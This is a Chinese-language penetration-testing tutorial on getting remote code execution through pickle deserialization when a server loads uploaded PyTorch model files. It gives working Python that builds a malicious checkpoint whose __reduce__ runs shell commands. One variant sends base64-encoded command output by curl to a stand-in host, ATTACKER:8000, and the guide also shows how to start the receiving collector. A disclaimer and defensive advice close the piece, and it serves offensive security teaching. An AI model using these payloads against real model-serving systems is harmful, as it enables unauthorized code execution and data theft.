Python pickle 反序列化到 RCE(以模型加载为例)
Python 的 pickle 是可执行的反序列化格式:pickle 流里可以内嵌任意可调用对象与参数,pickle.loads() 时直接执行。机器学习模型分发大量使用 pickle 序列化,因此“上传模型文件 → 服务端加载”成为一条标准的 RCE 入口。
仅限授权环境
反序列化 payload 会在服务端执行任意代码,只能在授权靶场或明确授权的测试中使用。
适用前提
服务端以不安全方式加载用户上传的模型文件:
| 写法 | 是否可利用 |
|---|---|
pickle.loads(user_file) | 是,任意 pickle 流都会执行 |
torch.load(..., weights_only=False) | 是,完整 pickle 语义可用 |
torch.load(..., weights_only=True) | 否,限制为纯数据张量 |
黑盒上无法直接看到代码,需要靠指纹推断。
服务指纹定位
| 指纹位置 | 可获取信息 |
|---|---|
/api/health | 常暴露 torch 版本,确认服务端框架 |
FastAPI /openapi.json | 枚举全部接口,定位接收 model 参数的上传端点 |
curl -sS http://target/api/health
curl -sS http://target/openapi.json | python3 -m json.tool
在 /openapi.json 里搜索文件上传类字段(model、checkpoint、weights),确定上传格式要求与接口路径。
手造恶意 checkpoint
PyTorch checkpoint 本质是一个 zip 包,核心是其中的 archive/data.pkl——它就是标准 pickle 流。因此 只需 Python 标准库即可构造恶意模型文件,无需安装 torch:
import pickle, zipfile
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.run, (["id"],))
with zipfile.ZipFile("evil.ckpt", "w") as z:
z.writestr("archive/data.pkl", pickle.dumps(Payload()))
__reduce__ 返回 (callable, args),loads() 时等价于 callable(*args),任意函数调用由此展开。本例只执行 id,用于验证加载路径存在。
上传构造好的 evil.ckpt 后,观察响应、日志或无回显通道确认执行结果。
无回显场景:外带收集
加载接口往往只返回“加载成功/失败”,命令输出留在服务端。标准做法是把输出 base64 编码后 POST 到自建 HTTP collector:
import pickle, zipfile
CMD = "id | base64 -w0 | curl -sS -X POST --data-binary @- http://ATTACKER:8000/collect"
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.run, (CMD,), {"shell": True})
with zipfile.ZipFile("evil.ckpt", "w") as z:
z.writestr("archive/data.pkl", pickle.dumps(Payload()))
攻击机先起 collector 接收:
python3 -m http.server 8000
POST body 即 base64 编码的命令输出,本地解码还原。
复核要点
| 检查点 | 说明 |
|---|---|
| 加载方式 | weights_only 取值决定可行,指纹尽量确认 torch 版本 |
| 上传接口 | 从 /openapi.json 确认字段名与格式限制 |
| 触发时机 | 模型可能在异步任务中加载,执行不一定同步返回 |
| 验证顺序 | 先跑 id 级验证,确认执行后再上外带链 |
| 外带链路 | 攻击机端口可达性要先自测 |
防御建议
- 加载模型一律使用
weights_only=True(新版本 torch 默认值),拒绝完整 pickle 语义。 - 不加载不可信来源的模型文件;模型分发走内部受控仓库。
- 对模型文件做签名校验,加载前验证签名与来源。
- 模型服务与业务隔离部署,限制其出站网络,降低外带与横移成功率。
- 审计代码库中所有
pickle.loads/torch.load调用点,确认输入来源。